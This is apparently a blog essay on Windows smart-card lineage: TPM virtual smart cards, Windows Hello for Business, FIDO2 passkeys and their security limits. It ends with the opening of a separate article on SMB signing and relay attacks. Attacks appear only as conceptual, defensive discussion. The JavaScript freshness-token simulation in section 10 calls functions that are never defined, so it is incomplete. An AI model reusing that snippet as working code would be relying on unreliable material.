On October 26, 2012, Microsoft shipped Windows 8. Buried in the new features, alongside the Start screen redesign and the Hyper-V client, was a command-line tool named tpmvscmgr.exe that created a smart card without any plastic. The tool is still there. Open an elevated prompt on a current Windows installation and type tpmvscmgr create /name vsc1 /AdminKey DEFAULT /PIN PROMPT, and the system manufactures a new entry under ROOT\SMARTCARDREADER\ that any PC/SC client sees as a freshly inserted card [@tpmvscmgr].

The pitch is mechanical. Every Windows 8+ device with a Trusted Platform Module already has the cryptographic substrate of a smart card on the motherboard: a tamper-resistant chip, a non-exportable key store, dictionary-attack resistance, an isolated execution environment for crypto. Why not implement the smart card abstraction in software, with the TPM as the backing chip [@vsc-overview] [@vsc-understanding]?

The Microsoft Learn "Virtual Smart Card Overview" makes the framing crisp. The three core properties of a smart card -- non-exportability, isolated cryptography, anti-hammering -- map directly onto TPM capabilities. Non-exportability becomes TPM key wrapping. Isolated cryptography becomes signing inside the TPM. Anti-hammering becomes the TPM's dictionary-attack counter [@vsc-overview] [@vsc-understanding].

A TPM-backed software smart card introduced in Windows 8 (October 2012). A VSC exposes the same PC/SC card edge as a physical card -- the same WinSCard API, the same Base CSP, the same Microsoft Smart Card KSP, the same minidriver model. The chip backing the card is the TPM, soldered to the motherboard, rather than a removable IC on a plastic substrate. From the perspective of any application using the WinSCard API, a VSC is indistinguishable from a permanently-inserted physical smart card.

Note: Windows 8 shipped Virtual Smart Cards in October 2012. The Trusted Computing Group did not ratify TPM 2.0 until 2014. VSCs are therefore a TPM-binding policy technology, not a TPM-2.0-bound technology; Microsoft Learn lists TPM 1.2 as the documented minimum. TPM 2.0 works and is the practical choice on modern Windows 11 installations, but the architecture predates it [@vsc-overview] [@vsc-understanding].

The beauty of the design is that nothing above the chip changed. Applications still call CryptSignHash or NCryptSignHash. The Base CSP and Smart Card KSP still route through a minidriver. The minidriver still sends APDUs through WinSCard to a reader. The only differences: the reader is a software pseudo-device named Microsoft Virtual Smart Card, and the card behind it is the TPM dressed up as an ISO 7816-4 applet.

flowchart LR subgraph Physical [Physical smart card] A1[Application] --> B1[CSP/KSP] B1 --> C1[Minidriver] C1 --> D1[WinSCard] D1 --> E1[USB reader] E1 --> F1[Plastic card IC] end subgraph Virtual [Virtual smart card] A2[Application] --> B2[CSP/KSP] B2 --> C2[Minidriver] C2 --> D2[WinSCard] D2 --> E2[Virtual reader] E2 --> F2[TPM on motherboard] end

The cryptographic substrate underneath the abstraction is the TPM, and the binding policy is per-device. The Microsoft Learn "Understanding and Evaluating Virtual Smart Cards" article is precise: "Non-exportability: Because all private information on the virtual smart card is encrypted by using the TPM on the host computer, it can't be used on a different computer with a different TPM" [@vsc-understanding]. The property that makes a VSC tamper-resistant also makes it un-migratable. A TPM clear destroys the keys irrecoverably. We return to that in section 8.

The canonical primary source for the architecture is the "Understanding and Evaluating Virtual Smart Cards" whitepaper on the Microsoft Download Center. The download page reports Version: July 2014, Date Published: 7/15/2024 [@vsc-whitepaper]. The 2014 revision is canonical.

The card was a metaphor. Microsoft kept the byte-for-byte PC/SC interface and put the TPM behind it.

A worked provisioning example brings the design to ground. The tpmvscmgr create command takes four arguments that matter for security policy: the administrative key (/AdminKey {DEFAULT | PROMPT | RANDOM}), the PIN policy (/PIN PROMPT or /PIN DEFAULT), the attestation mode (/attestation {AIK_AND_CERT | AIK_ONLY}), and the card's reader instance, surfaced under ROOT\SMARTCARDREADER\000n in Device Manager [@tpmvscmgr].

{` function provisionVSC(opts) { const adminKeyMap = { DEFAULT: '0102030405060708' + '0102030405060708' + '0102030405060708', PROMPT: '[user-supplied 48 hex chars]', RANDOM: '[random 24-byte key the admin must record]', }; const attestationNote = { AIK_ONLY: 'Identity-binding only; no platform certificate chain stored on the card.', AIK_AND_CERT: 'Full AIK-and-EK-cert chain stored; supports federated re-enrolment.', NONE: 'No attestation; the card is identity-only.', }; return { cardName: opts.name, adminKey: adminKeyMap[opts.adminKey] || 'invalid', pin: opts.pin === 'PROMPT' ? '[user-typed PIN, min 8 chars, alphanumeric+special allowed]' : '12345678', attestation: attestationNote[opts.attestation || 'NONE'], advice: opts.adminKey === 'DEFAULT' ? 'WARN: default admin key is documented; treat as factory-default.' : 'OK: admin key not factory-default.', }; }

console.log(provisionVSC({ name: 'vsc-jdoe', adminKey: 'RANDOM', pin: 'PROMPT', attestation: 'AIK_AND_CERT', })); `}

The default administrative key 010203040506070801020304050607080102030405060708 is documented in the public tpmvscmgr page [@tpmvscmgr]. Any VSC provisioned with /AdminKey DEFAULT should be treated as factory-default; in production, supply (PROMPT) or randomise (RANDOM) the admin key and store it separately.

The provisioning chain has four hard-to-script steps: run tpmvscmgr create as administrator; request and install an authentication certificate from a PKI the domain trusts (typically Microsoft Certificate Services with an enterprise CA and a smart card auto-enrolment template); set the user PIN; log the user out and back in. Each step is a place an enterprise rollout can stall.

Key idea: Microsoft kept the PC/SC card edge byte-for-byte and put the TPM behind it. The Virtual Smart Card was, technically, exactly that: a software smart card whose chip happened to be soldered to the board. The cryptographic primitive at the centre did not change; only the form factor of the chip carrying it did.

VSCs solved the physical-distribution problem. They did not solve the user-experience problem -- and they introduced a new one no Windows feature had ever produced quite this way: a credential a hardware reset could permanently destroy.

7. WHfB, FIDO2, and the Card Edge That Got Discarded

On March 17, 2015, Joe Belfiore announced Windows Hello on the Windows Experience Blog: "I'd like to introduce you to Windows Hello -- biometric authentication which can provide instant access to your Windows 10 devices" [@windows-hello-blog]. The consumer pitch was face and fingerprint. The mechanism underneath, in the enterprise variant called Windows Hello for Business (WHfB), was the same TPM-bound asymmetric key the Virtual Smart Card had used -- except there was no virtual reader, no virtual minidriver, and no virtual APDU.

WHfB talks to the TPM directly through the Microsoft Platform Crypto Provider, a CNG Key Storage Provider that calls into the TPM rather than into a smart card minidriver [@whfb-overview] [@whfb-how-it-works]. The PC/SC card edge had been removed from the path entirely. The cryptographic primitive (non-exportable TPM-bound asymmetric key, gated by a local gesture, used to sign an authentication request) survived; the interface around the primitive simplified.

Microsoft Learn describes WHfB in five phases: device registration, provisioning, key synchronisation, certificate enrolment (cert-trust only), authentication. The public key is registered with the identity provider and mapped to the user account; the private key never leaves the device [@whfb-how-it-works]. WHfB ships in three deployment models -- cloud-only, hybrid, on-premises -- and two trust types: key-trust and cert-trust [@whfb-deploy].

Key-trust is cloud-first. The TPM-bound public key is registered with Microsoft Entra ID; authentication is a public-key proof of possession to Entra, which mints whatever downstream artifacts a federated service needs (PRT, refresh token, optional Kerberos TGT via the cloud Kerberos service). No X.509 certificate sits in the user's path. Cert-trust adds an X.509 wrapper for downstream services that require one: an enterprise PKI issues a smart-card-logon-style certificate bound to the TPM key, and the WHfB authentication produces a Kerberos PKINIT exchange against an on-premises DC, just as a physical smart card would. The certificate is the adapter to brownfield infrastructure that still expects a smart-card-shaped credential [@whfb-deploy].

So far the lineage has been Windows-specific. FIDO2 is not. WebAuthn 2 is a W3C Recommendation; CTAP 2.1 is a FIDO Alliance specification [@webauthn-2] [@ctap-2-1]. Together they specify a cross-vendor protocol for public-key authentication to web relying parties, with one load-bearing property the smart card lineage never had: origin binding.

The property that a WebAuthn credential is scoped to a specific relying party identifier (the RP ID, typically a domain name) and the authenticator will refuse to sign an assertion for any other RP ID. The W3C WebAuthn 2 specification states: "the public key credential can only be accessed by origins belonging to that Relying Party. This scoping is enforced jointly by conforming User Agents and authenticators" [@webauthn-2]. A PIV smart card has no equivalent property; it will sign whatever the host hands it.

Origin binding is the structural fix to a class of relay attacks. A PIV smart card cannot tell whether it is signing a Kerberos AuthPack for the legitimate KDC or a maliciously crafted blob for an attacker-controlled relay; the card has no notion of "what is this signature for." A WebAuthn authenticator does. It hashes the RP ID into the signed assertion, the relying party verifies the RP ID matches its own origin, and a phishing site cannot trick the authenticator into producing a signature it will accept.

Microsoft Entra ID supports FIDO2 in two flavours. Device-bound passkeys live on a FIDO2 security key (a YubiKey 5 [@yubico-piv]) or in Microsoft Authenticator and cannot be extracted. Synced passkeys are credentials a platform synchronises across the user's devices through a cloud passkey provider [@entra-passkeys-howto] [@entra-passwordless]. The trade-off is sharp: device-bound passkeys support attestation (the relying party can verify authenticator hardware at registration); synced passkeys do not.

For workforce identity, Microsoft's passwordless strategy describes a four-step journey: deploy a password-replacement option, reduce user-visible password surface, transition to passwordless, eliminate passwords [@passwordless-strategy]. WHfB and FIDO2 are the two recommended replacements.

What about smart cards? The Microsoft Learn Virtual Smart Card Overview now opens with a Warning box that reads, in full: "Windows Hello for Business and FIDO2 security keys are modern, two-factor authentication methods for Windows. Customers using virtual smart cards are encouraged to move to Windows Hello for Business or FIDO2. For new Windows installations, we recommend Windows Hello for Business or FIDO2 security keys" [@vsc-overview]. The deprecation signal could not be more explicit. Physical PIV and CAC cards are not deprecated -- the federal government is not switching off PIV -- but the structural recommendation for greenfield is now WHfB or FIDO2.

Why did Virtual Smart Cards not survive into the WHfB era? Three reasons.

The first is provisioning UX. A VSC requires four steps (tpmvscmgr create, certificate enrolment, PIN set, logon round-trip) where WHfB requires one (a setup wizard the user runs at first sign-in). Each VSC step can fail in idiosyncratic ways: the enterprise CA template not configured for VSCs, the user's certificate request rejected, the PIN policy mismatched between the GPO and the card. Even when every step succeeds, the user sees a "smart card" UI -- card reader prompts, PIN entries -- that does not match the device they are holding.

The second is recovery. A TPM clear destroys VSC keys irrecoverably. Microsoft Learn states the constraint plainly [@vsc-understanding]: "all private information on the virtual smart card is encrypted by using the TPM on the host computer." Recovery would have to be re-enrolment under a federated attestation chain. The AIK-and-EK-cert attestation mode in tpmvscmgr exists [@tpmvscmgr], but it never grew into a productised re-enrolment story; the practical answer was always "issue a new card."

The third is the multi-device world. VSCs bind one credential to one device. By 2017 most enterprise users had at least two devices: a laptop and a phone. By 2022 most had three. A credential metaphor borrowed from the era of one workstation per user could not stretch.

Where do physical smart cards still belong in 2026? Three places. First, federal PIV / DoD CAC: the badge IS the credential, the issuance lifecycle is owned by an external organisation, and the cards have to work cross-platform and cross-application in a way a Windows-only credential cannot. Second, high-assurance regulated industries (banking, healthcare imaging, court systems) where existing PKI investment and signed-document workflows make the card the institutional artifact, not just an authentication factor. Third, "smart card removal locks workstation" cases (operating-room PCs, trading-floor terminals) where the physical act of pulling the card out of the reader is the security control.

Where does Entra Certificate-Based Authentication fit? Entra CBA is the cloud-native PIV/CAC path. A federal user logs into Entra ID directly with their PIV/CAC card, bypassing the on-premises ADFS infrastructure that was the traditional cloud-bridge for federal organisations. Entra CBA preserves the PIV credential while replacing the on-premises STS, and is the practical answer to "we have to keep PIV, but also we are migrating to cloud."

The table below condenses the comparison.

Method	Where the key lives	Origin binding	NTLM secondary	Provisioning steps	Multi-device	Phishing resistance	Recovery	Suitable for new deployments
Physical PIV / CAC	Removable IC	No (relay possible)	Yes (until NTLM removed)	High (PKI + issuance)	Yes (cross-device by physical movement)	Conditional	Re-issue card	Federal/DoD only
TPM Virtual Smart Card	On-device TPM	No	Yes (until NTLM removed)	High (4-step)	No (bound to one TPM)	Conditional	Re-enrol	Not recommended (deprecation Warning)
WHfB key-trust	On-device TPM	Limited (RP=Entra)	Reduced (cloud Kerberos)	Low (in-OS wizard)	Per-device enrolment	Yes (relative)	Re-enrol via device registration	Yes (cloud/hybrid)
WHfB cert-trust	On-device TPM	Limited (RP=AD)	Yes (until NTLM removed)	Medium (PKI required)	Per-device enrolment	Conditional	Re-enrol; CA-issued cert	Yes (brownfield PKI)
FIDO2 security key	External authenticator (e.g., YubiKey)	Yes (WebAuthn RP ID)	Not applicable (no Kerberos)	Low	Yes (key is portable)	Yes (origin-bound)	Spare key or backup credential	Yes (high-assurance)
Entra device-bound passkey	TPM or external authenticator	Yes (WebAuthn RP ID)	Not applicable	Low	Per-device	Yes	Re-enrol	Yes
Entra synced passkey	Cloud-synced (no attestation)	Yes (WebAuthn RP ID)	Not applicable	Low	Yes (cloud-synced)	Yes (origin-bound)	Cloud provider recovery	Yes (consumer, low-friction)

The architecture is now mature. But the lineage has a hard ceiling no architecture can cross: a signing oracle cannot tell you what it signed for.

8. What a Card Edge Can and Cannot Mediate

Set aside provisioning UX. Set aside NTLM legacy. Set aside everything Windows-specific. What are the structural limits any card-edge-or-equivalent design must accept? Six, by my count, and each one is anchored to a primary source.

The card edge is a signing oracle, not a transcript witness. A PIV card receives a hash and returns a signature. It does not know what protocol the signature is for, what relying party requested it, or whether the same hash has been requested two minutes ago by an attacker on a wireless network. PKINIT's vulnerability to relay was open from 2006 (RFC 4556) until 2017 (RFC 8070, which added a freshness token to the AS exchange) [@rfc-4556] [@rfc-8070]. The fix had to live in the protocol, not in the card. The card cannot prove what it signed for.

The card has no notion of relying-party identity. This is the structural defect WebAuthn fixes. A WebAuthn authenticator includes the RP ID in the signed assertion and refuses to release a signature for the wrong RP. The W3C specification states this property explicitly [@webauthn-2]. A PIV card does not. To add an equivalent property to the smart card lineage would have meant changing the SP 800-73 command set; it was easier to throw the PC/SC card edge away and start over with FIDO2.

Cryptographic protection at the card edge cannot reach downstream OS-minted credentials. This is the 2014 NTLM-secondary lesson at its most general. The card protects a key; the OS may mint credentials around that key the card cannot police. Microsoft KB 2871997 closed the leak with defence-in-depth retrofits (TokenLeakDetectDelaySecs, Protected Users, RunAsPPL, eventually Credential Guard) [@kb-2871997] [@msrc-kb-2871997] [@protected-users] [@credential-guard]; the structural close had to wait for the 2024-2026 NTLM removal programme [@ntlmv1-removal]. Any future credential the OS mints around the card's key is, by construction, outside the card's authority.

Revocation must be reachable, and the card cannot tell you when it is not. A PIV card's certificate is a relying-party-side concept; revocation status is a property of the issuing PKI, not the card. CRL distribution points and OCSP responders are the relying party's problem to reach. When a domain controller cannot reach the CRL, the policy choice is to fail open or fail closed; either policy carries risk. The [MS-PKCA] Windows profile specifies server-side certificate-validation processing -- including revocation checking -- as a property of the KDC, not the credential the card presented [@ms-pkca]. The card signed correctly either way.

Certificate-to-user mapping must be strongly bound, and again the card cannot help. When a domain controller receives a PKINIT request, it must map the presented certificate to an Active Directory account. The Certifried CVE class disclosed in May 2022 (CVE-2022-26923, CVE-2022-26931, CVE-2022-34691) showed that weak mapping -- by Subject Alternative Name UPN without a strong identifier bound into the certificate -- lets an attacker who can enrol against an over-permissive template impersonate any account [@kb-5014754]. The card signed exactly what it was asked to sign; the structural defect was at the KDC's mapping step. Microsoft KB 5014754 closed the mapping defect by requiring strong certificate-to-account binding; we return to its multi-year deployment timeline in §9 [@kb-5014754].

Hardware-bound keys cannot be teleported -- and this is both feature and limit. Non-exportability is the central promise of the entire lineage. It is also the bound. A TPM clear or a hardware replacement destroys the key. The recovery story has to be re-enrolment, not restore. Microsoft Learn states the constraint for VSCs and the same constraint applies, structurally, to every TPM-bound or external-authenticator credential -- including FIDO2 device-bound passkeys [@vsc-understanding]. Synced passkeys recover this property by giving up attestation; you cannot have both.

Non-exportability is the property. It is also the bound.

Key idea: An ideal card-lineage authenticator refuses to sign without RP-issued freshness, refuses to release a signature outside its RP scope, leaves no downstream-cacheable credential material, attests to its hardware at registration, and supports identity portability via re-enrolment-under-attestation rather than key portability. No shipping authenticator delivers all five of these authenticator-side properties in a workforce-grade product today; the two RP-side limits (revocation reachability, certificate-to-user mapping) are necessarily closed at the relying party, not the authenticator. The combination is the work of the next decade.

Limit	What it forbids	Primary source
Signing oracle, not transcript witness	Card cannot prove signature was for the intended protocol context	RFC 4556 / RFC 8070 [@rfc-4556] [@rfc-8070]
No RP identity	Card cannot refuse a relay; relay window must close in protocol	WebAuthn 2 [@webauthn-2]
No reach to downstream OS credentials	Card protects key, not identity around the key	KB 2871997, MSRC [@kb-2871997] [@msrc-kb-2871997]
Revocation is not self-asserting	Card cannot vouch for its own validity; KDC must reach the PKI	[MS-PKCA] [@ms-pkca]
Strong cert-to-user mapping is not card-asserted	Relying party must bind certificate to AD account; card has no view of the mapping	KB 5014754 [@kb-5014754]
Non-exportability bounds portability	Key dies with the chip; recovery must be re-enrolment	VSC Understanding [@vsc-understanding]

Some limits are being closed. The signing-oracle limit is mitigated by RFC 8070 freshness tokens; the RP-identity limit is closed for new credentials by WebAuthn; the downstream-credential limit is being closed by NTLM removal; the strong-mapping limit was closed by KB 5014754 on shipping AD infrastructure between February and September 2025. Others are inherent: a non-exportable key is, by definition, not portable. The next decade of smart-card-lineage work is being shaped by which is which.

9. Open Problems for the Next Decade

Five problems are still open in 2026. Each has a candidate fix in flight; none has shipped to general availability for the workforce case.

PIV / CAC in a post-NTLM Windows estate. NTLMv1 was removed from Windows 11 24H2 and Windows Server 2025 [@ntlmv1-removal]; NTLMv2 is on the deprecation track [@deprecated-features]. What does "smart card required for interactive logon" mean in a forest with no NTLMv1 secondary credential? The historical answer was "the KDC mints an NT hash so legacy services keep working." The new answer must be either "no NT hash; legacy services break" or "an NT hash for NTLMv2 only, restricted by SCRIL rotation and Protected Users membership." Microsoft has not yet published a complete blueprint for what federal PIV deployments look like after NTLMv2 also retires. Credential Guard's role in the transition is to make any residual secondary credential harder to harvest [@credential-guard] [@protected-users].

Three concrete questions a federal IT shop should be asking. First: does our forest have any domain controllers still serving NTLMv1 to legacy clients? After 24H2 / Server 2025, the answer should be no [@ntlmv1-removal]. Second: are our privileged accounts in Protected Users? The group blocks NTLM, DES, RC4 pre-auth, and constrained or unconstrained delegation [@protected-users]; for a smart-card-required account, membership effectively removes the RC4-HMAC-via-NTLM-hash attack surface even before NTLMv2 retirement. Third: is Credential Guard enabled on every member system? On Windows 11 22H2 and Server 2025, it is on by default for hardware-eligible domain-joined non-DC systems [@credential-guard]. These three measures are the practical answer to "what does smart-card-required mean today." The full structural answer waits on NTLMv2 retirement.

The recovery primitive that never shipped. TPM-clear or device replacement destroys TPM-bound keys; this is the cost of non-exportability. AIK-and-EK-cert attestation in tpmvscmgr could in principle support federated re-enrolment with strong proof of platform identity [@tpmvscmgr], and the Entra passkey enrolment flow supports attestation-required policies [@entra-passkeys-howto], but neither path matured into a "your VSC died; here is how the help desk restores you in fifteen seconds" story. Synced passkeys recover this property by giving up attestation. Workforce-grade attestation and easy recovery, together, is still not shipping.

The certificate-based-authentication hardening lag. Microsoft's KB 5014754 hardens certificate-based authentication on Windows domain controllers against the Certifried CVE class (CVE-2022-26923, CVE-2022-26931, CVE-2022-34691) by requiring strong certificate-to-user mapping at the KDC. The CVE class was disclosed on May 10, 2022. The mitigation moved DCs to Enforcement mode by default on February 11, 2025, with a fallback to Compatibility mode still available; the override was finally retired on September 9, 2025 [@kb-5014754]. The KB's own change log records several intermediate slips of the Full-Enforcement target (the original commitment was a 2023 milestone, slipping to February 2025 and then to September 2025) [@kb-5014754]. That is roughly three years from CVE disclosure to default Enforcement and a further seven months to end-of-override on shipping infrastructure -- and the gap from the first published Full-Enforcement target to the actual end-of-override stretches the slip to a multi-year story in its own right. The lesson is sobering: in a brownfield estate, the time from "CVE disclosed" to "hardening fully enforced on every domain controller" is measured in years, not weeks. Separately, RFC 8070 PKINIT freshness tokens (February 2017) are a different hardening programme [@rfc-8070]; Windows has not deployed RFC 8070 freshness as the default in the broad estate, and the article's RunnableCode in §10 illustrates the freshness exchange rather than documenting deployed Windows behaviour. Any protocol-level fix to the smart-card lineage in 2026 will, on the KB 5014754 evidence, take three to four years to land -- and longer if the standards process itself slips, as RFC 8070's still-undeployed status (over nine years since publication) suggests.

Cross-platform card-edge longevity. OpenSC and pcsc-lite still implement NIST SP 800-73 on macOS and Linux; the cross-platform PIV story works for basic logon. But the modern features Windows keeps adding -- attestation chains, device-bound credential extensions, integration with the Entra passkey APIs -- lag on the open-source side. Whether PC/SC outlives the platforms that built it is genuinely uncertain. Some federal organisations will keep PIV alive cross-platform as policy; many private-sector deployments will quietly move off.

Post-quantum signature algorithms on smart cards. PIV's current baseline is RSA-2048 and ECDSA P-256 -- not post-quantum resistant. NIST's post-quantum standardisation selected ML-DSA (Module Lattice DSA, formerly Dilithium) and SLH-DSA (Stateless Hash-Based DSA, formerly SPHINCS+); both have key and signature sizes substantially larger than RSA-2048 or ECDSA P-256, and both will stress the storage and bandwidth budgets of a typical PIV card. SP 800-73-4 has no slots for post-quantum keys today [@sp-800-73-4-upd1] [@fips-201-3]. A future revision will have to accommodate them, and the existing population of $\approx$ five million PIV cards [@nist-piv-home] will not all be PQ-capable at once. The transition runs on a card-issuance cycle: roughly $T_{\text{transition}} \approx T_{\text{issuance}} + T_{\text{rollout}}$, each term in the multi-year range.

Architecture is a question about which problems your design cannot solve. The next section is for the architect who has to choose right now, with all five problems still open.

10. Choosing Between PIV, VSC, WHfB, and FIDO2 in 2026

Four operator-grade callouts. Pick the one that matches your context.

Note: Stay on PIV / CAC for the foreseeable future. FIPS 201-3 is the current standard and SP 800-73 the current card-edge interface; policy mandates are not changing on a tactical timeline [@fips-201-3] [@nist-piv-home]. Add Entra Certificate-Based Authentication for cloud workloads so the same PIV card authenticates to Microsoft 365 and Azure resources without going through on-premises ADFS. For the three operational controls -- Credential Guard, Protected Users membership for privileged accounts, and NTLMv1-removal status -- see the federal-IT checklist in the §9 Aside. Do not rely on the smart card alone to defeat NTLM-secondary-credential abuse until NTLM removal has reached your environment.

Note: Pick WHfB key-trust if you are cloud-first or hybrid, cert-trust if you have an existing on-premises PKI you need to honour [@whfb-deploy] [@whfb-how-it-works]. Add FIDO2 security keys for the populations that need cross-device portability or strict phishing resistance: contractors, executives, IT administrators, anyone whose credential theft would be catastrophic [@webauthn-2] [@passwordless-strategy]. Do not pick Virtual Smart Cards for new deployments; the Microsoft Learn VSC Overview deprecation Warning quoted verbatim in §7 applies [@vsc-overview].

Note: Continue to operate it but plan migration to WHfB. Audit your recovery and re-enrolment process: a TPM clear destroys VSC keys irrecoverably, so any disaster-recovery plan that assumes you can move a credential between devices is wrong [@vsc-understanding]. Do not assume your VSC deployment is "supported" the way it was in 2014; the deprecation Warning quoted in §7 applies here [@vsc-overview]. The cleanest exit path is to enrol the same users into WHfB cert-trust against your existing PKI, then retire the VSC layer once the WHfB credential is operational.

Note: FIDO2 security keys with attested device-bound credentials [@webauthn-2] [@ctap-2-1], paired with Microsoft Entra ID passkeys. Use attestation-required profiles for high-assurance populations (so the relying party can verify the authenticator hardware) and attestation-optional profiles for less sensitive populations who benefit from synced-passkey recovery [@entra-passkeys-howto] [@entra-passwordless]. The trade-off remains: device-bound passkeys are attestable but not portable; synced passkeys are portable but not attestable. Match the profile to the population, not the population to the profile.

For the architect who wants to see how PKINIT freshness enforcement would work if the RFC 8070 extension were enforced, the JavaScript below simulates the nonce check. The KDC issues a freshness token; the client includes it in the signed PKAuthenticator; the KDC verifies that the token in the signed structure matches the one it issued. This is illustrative protocol behaviour, not the Windows default today.

{` function kdcIssueFreshness() { const token = Math.random().toString(16).slice(2, 18); return { token, issuedAt: Date.now() }; }

const issued = kdcIssueFreshness(); const cardSign = (msg) => 'sig(' + msg.length + ')'; const signed = clientSignAuthPack({ freshness: issued, cardSign });

console.log('Honest client:', kdcVerify(signed, issued));

const replayed = { ...signed, pkAuthenticator: { ...signed.pkAuthenticator, freshness: 'stale-token-1234' } }; console.log('Replayed with stale token:', kdcVerify(replayed, issued)); `}

Whichever method you choose, no method alone defeats the legacy compatibility surfaces the card was never designed to police. The structural fix lives in the protocol-removal programme finishing through 2026 and beyond.

11. Frequently Asked Questions

Yes functionally and cryptographically; no physically. A VSC exposes the same PC/SC card edge, Microsoft Smart Card KSP, and minidriver model as a physical card. Above the minidriver layer, every Windows component sees it as a smart card. Tamper-resistance comes from the host TPM rather than a removable IC; Microsoft Learn lists TPM 1.2 as the documented minimum -- VSCs predate TPM 2.0 [@vsc-overview] [@vsc-understanding]. No, by construction. The card signs internally and returns the signature. The only material that leaves during normal operation is the signed output (or, for key exchange, an unwrapped symmetric session key the card has decrypted with the wrapping key). The private key is generated on-card during enrolment and cannot be extracted; that property is the load-bearing security claim of the entire lineage. Legacy NTLM compatibility. Many pre-Windows-2000 services speak only NTLM, and accounts flagged "smart card required for interactive logon" must still authenticate to them. KB 2871997 (May 13, 2014) added auto-rotation of the secondary credential at logon, reducing but not eliminating the attack surface [@kb-2871997]. The structural fix is NTLM removal: NTLMv1 has now been removed in Windows 11 24H2 and Windows Server 2025 [@ntlmv1-removal]. Yes. The YubiKey 5 series exposes a PIV applet that the inbox `msclmd.dll` minidriver recognises out of the box [@yubico-piv] [@inbox-minidriver]. Insert the YubiKey and Windows treats it as a PIV-compliant smart card; the same enrolment, PKINIT, and lock-screen workflows apply. The YubiKey 5 can act as a FIDO2 authenticator concurrently, which is the practical way to bridge smart-card and origin-bound passkey workflows on the same device. Conditionally. PKINIT signs an `AuthPack` containing a nonce and a paChecksum; with the RFC 8070 freshness extension and a correctly validated KDC certificate, an attacker cannot trivially replay or relay an `AuthPack` signed by the client's smart card [@rfc-4556] [@rfc-8070]. But PKINIT is not origin-bound in the WebAuthn sense -- the card has no notion of which KDC the signature is for. If a trust assumption fails (an attacker plants a certificate in the client's NTAuth store, for example), the card will happily sign for the wrong KDC. WebAuthn's RP-ID-bound assertion is a stronger guarantee [@webauthn-2]. See the §6 Callout "VSCs predate TPM 2.0" for the full timeline. TPM 1.2 is the documented minimum; TPM 2.0 is the practical choice on Windows 11, which itself requires TPM 2.0 for the OS [@vsc-overview]. Three reasons, all expanded in §7: provisioning UX, TPM-clear recovery, and the multi-device world. Windows Hello for Business delivered the same TPM-bound-key benefits without the PC/SC abstraction cost (no virtual reader, no virtual minidriver, no APDU layer); FIDO2 then added cross-device portability and origin binding, neither of which the VSC architecture could deliver. The Microsoft Learn VSC Overview deprecation Warning quoted verbatim in §7 makes the recommendation explicit [@vsc-overview] [@passwordless-strategy]. Both are CNG Key Storage Providers. The Smart Card KSP routes calls through the minidriver to either a physical card or a TPM VSC; the cryptographic operation is APDU-encoded and sent to the card. The Platform Crypto Provider routes calls directly to the TPM via TPM Base Services; there is no card abstraction in the path. Windows Hello for Business uses the Platform Crypto Provider for TPM-bound key operations [@cng-ksp-list] [@whfb-how-it-works].

The card was always a metaphor. The cryptographic primitive at its centre -- a non-exportable asymmetric key, bound to a tamper-resistant element, gated by a local gesture -- is the longest-lived object in this lineage. Every generation transition (PC/SC -> CryptoAPI/CNG -> inbox PIV/GIDS -> Virtual Smart Card -> WHfB -> FIDO2) was a transition of the interface around that primitive, not of the primitive itself. The May 2014 contractor whose CAC signed the right blob and lost her account anyway was the canary; the fix she needed was not on her card but in a decade-long programme to remove the OS-minted secondary credentials that lived outside the card's authority. Windows is most of the way through that programme now. The card that wasn't a card outgrew its metaphor -- and the protection it always promised is, finally, arriving at the authentication outcome.

The Connection That Refused to Downgrade: Twenty-Five Years of SMB Cryptography, Finally Default-On

noreply@paragmali.com (Parag Mali) — Tue, 26 May 2026 00:00:00 GMT

**SMB 3.1.1 closed the 25-year-old negotiate-downgrade attack in 2015, but the defaults did not catch up until October 2024.** Pre-authentication integrity hashes every byte of NEGOTIATE and SESSION_SETUP into the SP 800-108 KDF salt, so any tampering produces divergent session keys rather than detectable mismatches. Windows 11 24H2 and Server 2025 finally make SMB signing required by default; encryption is now mandate-able but remains opt-in. The attacks that still work (PetitPotam) route around SMB entirely.

1. Three Failures in a Coffee Shop

A laptop opens its first SMB connection to a corporate file share over the wifi of a coffee shop. An attacker on the same network, holding the same family of relay tooling that Sir Dystic first demonstrated on March 31, 2001 at @lanta.con in Atlanta [@smbrelay-cdc], watches three packets go by: a NEGOTIATE Request, a NEGOTIATE Response, and an authenticated SESSION_SETUP that finishes with a signed READ.

She tries to relay the credentials to a neighbouring server. She tries to strip the signing-required bit from the NEGOTIATE Response. She tries to inject ciphertext she captured from a previous session of the same user.

All three attempts fail. None of them touch the contents of the file.

That outcome is the 2026 default behaviour of a Windows 11 24H2 client talking to a Windows Server 2025 file server [@pyle-techcom-4226591][@smb-security-hardening]. And it is the punch line of a story that took twenty-five years to land.

This topic was discussed on March 31, 2001 at @lanta.con in Atlanta, Georgia. -- Sir Dystic, cDc disclosure page for SMBRelay [@smbrelay-cdc]

Sir Dystic was the cDc handle of the researcher who shipped the first practical SMB relay tool."Sir Dystic" is a cult of the Dead Cow pseudonym. The cDc primary disclosure page names only the handle; a legal name attributed in secondary press is not load-bearing for this article, and the primary citation stays with the pseudonym [@smbrelay-cdc]. His attack relayed a client's NTLM challenge response, captured on the wire, into a fresh SMB session against another host where that user already had credentials.

The technique generalised, and "SMB relay" became a generic term for an attack family that has, over the intervening years, eaten domain controllers, file shares, and Active Directory Certificate Services enrollment endpoints.

This article walks the twenty-five-year arc of cryptographic responses to that attack family: how each retrofit before 2015 left a load-bearing weakness in the NEGOTIATE handshake; how SMB 3.1.1 closed that weakness with a mechanism that is usually misremembered; how SMB-over-QUIC arrived in 2021 as a parallel transport; how the October 2024 default-on flip in Windows 11 24H2 finally made signing mandatory on every share, not just SYSVOL and NETLOGON [@smb-security-hardening]; and what attacks the SMB team designed against still work in 2026, by routing around SMB entirely.

There will be three aha moments. The first arrives at the end of section 3: every defence before 2015 was applied after-the-fact to a message an attacker already controlled. The second arrives in section 4: pre-authentication integrity is not a signed negotiate, it is a hash chain that becomes a key-derivation salt. The third arrives in section 6: SMB is now cryptographically sufficient at the wire layer, and the attacks that still matter coerce SMB and relay the authentication somewhere else.

To see why the attacker's toolkit failed in 2026, and why the same toolkit worked everywhere from 2001 to 2023, we have to start in 1983.

2. The Cleartext Era and the Birth of the Relay Class

Barry Feigenbaum designed SMB at IBM Boca Raton in 1983 [@ms-cifs-landing] as a way to make a PC's open-file table look like it lived on a server. It ran on a single LAN segment, behind a desk, in a room where the only adversary was someone who walked in the door. There was no notion of an attacker on the wire because there was no wire to attack: the protocol predated TCP/IP's commercial reach by a decade.

